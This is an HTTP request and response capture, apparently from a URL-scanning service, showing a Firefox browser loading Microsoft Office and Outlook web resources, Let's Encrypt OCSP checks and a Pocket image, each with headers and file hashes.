                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/reporting.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 0c03d37f-901e-005e-3859-c52121000000
date: Sat, 10 Sep 2022 21:11:33 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    7aadf3e03de89f1d8d3b996ea40a73dc
Sha1:   36b176f2240b18791aaed726e1e3820921b48d63
Sha256: 617d1afbbb5eaa1413efee127879f8a69ba9efd3e44d538845de6c4cbd08a36d
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/assistancepanel.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/javascript
                                        
content-length: 215
x-ms-request-id: 53c55da8-f01e-003a-2359-c5d0b9000000
date: Sat, 10 Sep 2022 21:11:33 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    9dba8b059fdd508606fc58235f1dc58b
Sha1:   2cd5ad70b0ada446b90b94d44ce05e905d5821f9
Sha256: 45b322e41ee40bf5d1ae80f4b01ecb539132d1d777fece848b874e339c826343
                                        
                                            GET /owa/prefetch.aspx HTTP/1.1 
Host: outlook.office365.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.office.com/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

search
                                         40.99.215.98
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Cache-Control: private, no-store
Content-Length: 1236
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: 56302c85-83c4-70ab-30a0-4a02942b6549
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Alt-Svc: h3=":443",h3-29=":443"
X-CalculatedBETarget: OLAP279MB0296.NORP279.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 200
Set-Cookie: ClientId=55A27FCBC99C4F92956C3BA9C19956A2; expires=Sun, 10-Sep-2023 21:11:33 GMT; path=/;SameSite=None; secure ClientId=55A27FCBC99C4F92956C3BA9C19956A2; expires=Sun, 10-Sep-2023 21:11:33 GMT; path=/;SameSite=None; secure OIDC=1; expires=Fri, 10-Mar-2023 21:11:33 GMT; path=/;SameSite=None; secure; HttpOnly OWAPF=v:15.20.5612.15&l:mouse; path=/
X-RUM-Validated: 1
X-Content-Type-Options: nosniff
X-BeSku: WCS6
X-OWA-Version: 15.20.5612.22
X-OWA-DiagnosticsInfo: 1;0;0
X-IIDs: 0
X-BackEnd-Begin: 2022-09-10T21:11:33.284
X-BackEnd-End: 2022-09-10T21:11:33.284
X-DiagInfo: OLAP279MB0296
X-BEServer: OLAP279MB0296
X-UA-Compatible: IE=EmulateIE7
X-Proxy-RoutingCorrectness: 1
Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=OSL"}],"include_subdomains":true}
NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01}
X-Proxy-BackendServerStatus: 200
X-FirstHopCafeEFZ: OSL
X-FEProxyInfo: OS6P279CA0086.NORP279.PROD.OUTLOOK.COM
X-FEEFZInfo: OSL
X-FEServer: OS6P279CA0086
Date: Sat, 10 Sep 2022 21:11:32 GMT


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- exported SGML document, ASCII text, with very long lines (1188), with CRLF line terminators
Size:   1236
Md5:    fbdb2ff4a8124f07a157ccfde92982a6
Sha1:   90e91ef76df2c657c53bc50e139f4f40ab94d27a
Sha256: 7aad7600925a8e11385cdfbbcb348b3ab1680e93a3d9e5ba9ff8b6b3317888b9
                                        
                                            GET /officehub/bundles/polyfills-bundle-e18347da86814c891145.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.office.com/
X-Moz: prefetch
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Wed, 07 Sep 2022 23:35:13 GMT
x-ms-request-id: d74d2e25-501e-0063-58c5-c3626c000000
vary: Accept-Encoding
content-encoding: gzip
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
content-length: 31873
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (45991), with NEL line terminators
Size:   31873
Md5:    286676b3f18a715bd83d3a33f61af6fe
Sha1:   a036b85b16af06032d682c3aa14604dde3ec75f4
Sha256: f5f965abea287ff7bbf5ddab52bc7b7846335b3a2c96a3502c64d42b929ffebb
                                        
                                            GET /officehub/bundles/sharedscripts-c77f7edec8.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.office.com/
X-Moz: prefetch
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Mon, 09 May 2022 22:18:52 GMT
x-ms-request-id: d304ac97-c01e-005e-34b4-ba1477000000
vary: Accept-Encoding
content-encoding: gzip
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
content-length: 15201
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (31932)
Size:   15201
Md5:    a9c88df7ad942560b076f40fa3245997
Sha1:   7023636f15b4137b2659f3530e5254f10003644a
Sha256: ea14f06f2599b1098603da7bf4edf53c0b85bcc1a070fe69be3ab180b496ae6d
                                        
                                            GET /officehub/bundles/staticscripts-0d945946a7.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.office.com/
X-Moz: prefetch
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Thu, 01 Sep 2022 00:21:27 GMT
x-ms-request-id: 87ffc57a-601e-0025-24c7-bd56eb000000
vary: Accept-Encoding
content-encoding: gzip
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
content-length: 5450
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  HTML document, ASCII text, with very long lines (17993), with no line terminators
Size:   5450
Md5:    f9063190099650e6175eca457b747e33
Sha1:   ddd1d94aca4b6f8e9225b5efa7bf6cdd22fca599
Sha256: bef25d3791d95ec282e928e763769dd70ca1f3fb1c19060b3b3389d89fb7da5e
                                        
                                            GET /officehub/bundles/app-bundle-8646e5ea47a105a47fba.css HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.office.com/
X-Moz: prefetch
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: text/css
                                        
last-modified: Wed, 07 Sep 2022 23:34:50 GMT
x-ms-request-id: d9111e9c-b01e-0054-5da9-c3b0c0000000
content-encoding: gzip
content-length: 14538
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65536), with no line terminators
Size:   14538
Md5:    b00e00c0c393f2e8b99a8ed1c68e0160
Sha1:   65dc3804555237058484b501f8065ffab64e3cc2
Sha256: 44a108b70c799effb04df65451f3ad53895ef88de6a27efa8e0c22341072e96e
                                        
                                            GET /officehub/images/content/images/fluent-background-sources/header-default-tablet-a2ddbeaa7f.svg HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.office.com/
X-Moz: prefetch
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: image/svg+xml
                                        
last-modified: Wed, 01 Sep 2021 01:22:27 GMT
x-ms-request-id: a1c40c4b-b01e-0026-6c5f-bab78f000000
vary: Accept-Encoding
content-encoding: gzip
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
content-length: 1432
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  SVG Scalable Vector Graphics image\012- XML 1.0 document text\012- XML document text\012- HTML document text\012- exported SGML document, ASCII text, with CRLF line terminators
Size:   1432
Md5:    8ce10911283d6d2a61fa862dd5f09bcb
Sha1:   d37ab8ad3316ac97edfd2525d0d7448b73a429de
Sha256: cbe60fb0ffa2b8c1b3f4426b606b1929019791ddaea15d7f6250ed91d81cb4e3
                                        
                                            GET /officehub/bundles/app-bundle-ef9597701bc12b96c70e.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.office.com/
X-Moz: prefetch
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Wed, 07 Sep 2022 23:35:17 GMT
x-ms-request-id: b9aef7ed-601e-0068-68a9-c39907000000
content-encoding: gzip
content-length: 310411
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65447)
Size:   310411
Md5:    bf0859ac87cdd91cdf94dee7abc27cb9
Sha1:   fb03ad11f7ac1b94e548419430627fd7e1f66da4
Sha256: dbd1e2a9f7723852a7ecf547b38bfcfd4f2c72528889908153e331d791aee8d6
                                        
                                            GET /pp.l?CID=41f1e895636a49ee8cedb3f2e8c93205&pageId=Prefetch.aspx&d={B:{S:%27L%27,LT:1157,UT:-1,MT:-1},A:{ET:-1,OT:70,DT:130,CT:222,RT:262,ST:262,MT:-1,LT:1529},C:{LT:1662844283169}} HTTP/1.1 
Host: portal.microsoftonline.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/Prefetch/Prefetch.aspx
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         52.109.88.54
HTTP/2 200 OK
content-type: text/html
                                        
cache-control: private
pragma: no-cache
content-encoding: gzip
expires: Sat, 10 Sep 2022 21:10:33 GMT
vary: Accept-Encoding
server: Microsoft-IIS/10.0
strict-transport-security: max-age=63072000
x-aspnet-version: 4.0.30319
set-cookie: s.SessID=656bb4bc-0ad7-46c1-86a8-7d5549882c98; path=/; secure; HttpOnly s.SessID=656bb4bc-0ad7-46c1-86a8-7d5549882c98; path=/; secure; HttpOnly x-portal-routekey=weu; path=/; secure; HttpOnly
x-powered-by: ASP.NET
x-content-type-options: nosniff
x-ua-compatible: IE=Edge
date: Sat, 10 Sep 2022 21:11:33 GMT
content-length: 191
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1\012- data
Size:   191
Md5:    134049547c379f402965e58d27028f33
Sha1:   364850db725c162e149b3499a2d1e0d10b148746
Sha256: 39c596d3f26879c2e2f70a97e8494efd630da9917217f0912f3b699ee64be679
                                        
                                            GET /owa/prem/15.20.5612.15/scripts/boot.worldwide.0.mouse.js HTTP/1.1 
Host: r4.res.office365.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://outlook.office365.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/x-javascript
                                        
accept-ranges: bytes
last-modified: Tue, 06 Sep 2022 22:50:42 GMT
server: AkamaiNetStorage
vary: Accept-Encoding
content-encoding: gzip
cache-control: public,max-age=630720000, s-maxage=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
content-length: 179692
timing-allow-origin: *
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text, with very long lines (59783), with CRLF line terminators
Size:   179692
Md5:    7107c752f3901d95bdc4e9d46ac2b6d8
Sha1:   747a0d933dc2ef38a98fa11a44ba661ec6a5eae3
Sha256: c4a5ecaf090da5f8115afcf0d4b723810054ecf3de31acc5ea6d48f9eb2d4111
                                        
                                            GET /owa/prem/15.20.5612.15/scripts/boot.worldwide.1.mouse.js HTTP/1.1 
Host: r4.res.office365.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://outlook.office365.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/x-javascript
                                        
accept-ranges: bytes
last-modified: Tue, 06 Sep 2022 22:50:43 GMT
server: AkamaiNetStorage
vary: Accept-Encoding
content-encoding: gzip
cache-control: public,max-age=630720000, s-maxage=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
content-length: 163086
timing-allow-origin: *
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Size:   163086
Md5:    e8e90ea74afb3c2e067828c093fc86b1
Sha1:   cdc77987b351dc36f67d2d72d9bb59f17bfd49e0
Sha256: 411cbbad8d2c64f927321e1a825bf15860e2a7757688b4b445cdec041a1c497a
                                        
                                            GET /owa/prem/15.20.5612.15/scripts/boot.worldwide.2.mouse.js HTTP/1.1 
Host: r4.res.office365.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://outlook.office365.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/x-javascript
                                        
accept-ranges: bytes
last-modified: Tue, 06 Sep 2022 22:50:43 GMT
server: AkamaiNetStorage
vary: Accept-Encoding
content-encoding: gzip
cache-control: public,max-age=630720000, s-maxage=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
content-length: 169702
timing-allow-origin: *
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Size:   169702
Md5:    1e37d6bba254c3ff7f57d369bfffb5ee
Sha1:   3815e368af2c284735837ee7facbbfc9a7627e59
Sha256: d3b62817e50c0a8e046612ec81463e9613eda09be666c511992f556550195852
                                        
                                            GET /owa/prem/15.20.5612.15/scripts/boot.worldwide.3.mouse.js HTTP/1.1 
Host: r4.res.office365.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://outlook.office365.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/x-javascript
                                        
accept-ranges: bytes
last-modified: Tue, 06 Sep 2022 22:50:43 GMT
server: AkamaiNetStorage
vary: Accept-Encoding
content-encoding: gzip
cache-control: public,max-age=630720000, s-maxage=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
content-length: 145619
timing-allow-origin: *
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Size:   145619
Md5:    bac54154cb7ee7259633e02a7a4fa114
Sha1:   23f91aa87a91460719dbcd028823e7d77df37d90
Sha256: 5f2a24e3702d337eaf0954c1a3c34298350a3089c31815c6ce70be1fcd0d32b8
                                        
                                            GET /owa/prem/15.20.5612.15/resources/images/0/sprite1.mouse.png HTTP/1.1 
Host: r4.res.office365.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://outlook.office365.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: image/png
                                        
accept-ranges: bytes
content-length: 132
last-modified: Tue, 06 Sep 2022 23:02:22 GMT
server: AkamaiNetStorage
cache-control: public,max-age=630720000, s-maxage=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
timing-allow-origin: *
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 600 x 1, 8-bit/color RGBA, non-interlaced\012- data
Size:   132
Md5:    3eda15637afeac6078f56c9dcc9bbdb8
Sha1:   97b900884183cb8cf99ba069eedc280c599c1b74
Sha256: 68c66d144855ba2bc8b8bee88bb266047367708c1e281a21b9d729b1fbd23429
                                        
                                            GET /owa/prem/15.20.5612.15/resources/images/0/sprite1.mouse.css HTTP/1.1 
Host: r4.res.office365.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://outlook.office365.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: text/css
                                        
accept-ranges: bytes
last-modified: Tue, 06 Sep 2022 23:02:23 GMT
server: AkamaiNetStorage
vary: Accept-Encoding
content-encoding: gzip
cache-control: public,max-age=630720000, s-maxage=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
content-length: 288
timing-allow-origin: *
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (994), with no line terminators
Size:   288
Md5:    d5376db145bd802d6dc34b453e38db2d
Sha1:   a33794e22b790cefae0b1427244ddbf60aef74e6
Sha256: 4e5c1ba33900bd8b05d2bef342bdd037c240d27207ef878b2b87d252dfc30cfc
                                        
                                            GET /owa/prem/15.20.5612.15/resources/styles/0/boot.worldwide.mouse.css HTTP/1.1 
Host: r4.res.office365.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://outlook.office365.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: text/css
                                        
accept-ranges: bytes
last-modified: Tue, 06 Sep 2022 23:03:19 GMT
server: AkamaiNetStorage
vary: Accept-Encoding
content-encoding: gzip
cache-control: public,max-age=630720000, s-maxage=630720000
date: Sat, 10 Sep 2022 21:11:33 GMT
content-length: 44144
timing-allow-origin: *
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65536), with no line terminators
Size:   44144
Md5:    820f40594a0e8d5f9d58546208aa9060
Sha1:   e17ed5116a34c432013a244c979ac9da53829d74
Sha256: f8f708049e1e1609af3959cd21eaf313c8192d3e962887a7a2e1f9b353d3fc80
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         95.101.11.115
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "F27BC8051A23FBE811318B8D49F5D27E3E992962A0E72F5D30A4790FE4F42748"
Last-Modified: Sat, 10 Sep 2022 08:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=5684
Expires: Sat, 10 Sep 2022 22:46:17 GMT
Date: Sat, 10 Sep 2022 21:11:33 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         95.101.11.115
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "F27BC8051A23FBE811318B8D49F5D27E3E992962A0E72F5D30A4790FE4F42748"
Last-Modified: Sat, 10 Sep 2022 08:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=5684
Expires: Sat, 10 Sep 2022 22:46:17 GMT
Date: Sat, 10 Sep 2022 21:11:33 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         95.101.11.115
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "F27BC8051A23FBE811318B8D49F5D27E3E992962A0E72F5D30A4790FE4F42748"
Last-Modified: Sat, 10 Sep 2022 08:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=5684
Expires: Sat, 10 Sep 2022 22:46:17 GMT
Date: Sat, 10 Sep 2022 21:11:33 GMT
Connection: keep-alive

                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F0bedecf7-d9af-4aa7-88b0-94b2a33f9e1a.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 9766
x-amzn-requestid: 720a4111-91de-4672-88c8-f40db517c07d
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: YHsjRE13oAMFbCA=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63195ae1-288f1f5456bf4d146dcf774c;Sampled=0
x-amzn-remapped-date: Thu, 08 Sep 2022 03:00:49 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: HwwG0Hjf8uZn1AtbLU_wKs3w9lict3tRP31XQY6tIxDz9KDNaBMAqw==
via: 1.1 000f4a2f631bace380a0afa747a82482.cloudfront.net (CloudFront), 1.1 4f3feb5c4393987d42d1971d404d7cea.cloudfront.net (CloudFront), 1.1 google
date: Sat, 10 Sep 2022 04:00:05 GMT
age: 61888
etag: "3768753be084c0e0fc268be5b192d02d769114b6"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   9766
Md5:    7ade70e6dbcfb3ca1765f95112671e69
Sha1:   3768753be084c0e0fc268be5b192d02d769114b6
Sha256: 9670a3bf2476ba193cfeb3153c1254bdcfc980a28503dda0d9b398a3a59f53f4
                                        
